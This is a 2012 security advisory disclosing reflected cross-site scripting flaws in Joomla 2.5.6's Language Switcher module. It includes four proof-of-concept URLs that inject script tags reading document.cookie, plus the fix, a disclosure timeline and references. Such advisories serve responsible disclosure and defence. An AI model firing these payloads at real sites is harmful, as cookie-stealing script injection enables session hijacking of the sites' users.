Advisory: Joomla 2.5.6 Multiple Cross-site scripting vulnerabilities
Advisory ID: SSCHADV2012-014
Author: Stefan Schurtz
Affected Software: Successfully tested on Joomla 2.5.6
Vendor URL: http://www.joomla.org/
Vendor Status: fixed

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Vulnerability Description

With activated "Module Language Switcher . position-4" (Extensions -> Modules -> Module Manager: Module Language Switcher), multiple XSS are possible.

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PoC-Exploit

// with default sample content

http://[target]/joomla/index.php/image-gallery/"><script>alert(document.cookie)</script>/25-koala
http://[target]/joomla/index.php/image-gallery/"><script>alert('xss')</script>/25-koala

http://[target]/joomla/index.php/image-gallery/animals/25-"><script>alert(document.cookie)</script>
http://[target]/joomla/index.php/image-gallery/animals/25-"><script>alert('xss')</script>

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Solution

Upgrade to version 2.5.7

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Disclosure Timeline

28-Jun-2012 - vendor informed ([email protected])
05-Jul-2012 - vendor informed again ([email protected])
13-Sep-2012 - fixed by vendor

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Credits

Vulnerabilities found and advisory written by Stefan Schurtz.

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References

http://developer.joomla.org/security/news/540-20120902-core-xss-vulnerability
http://www.darksecurity.de/advisories/2012/SSCHADV2012-014.txt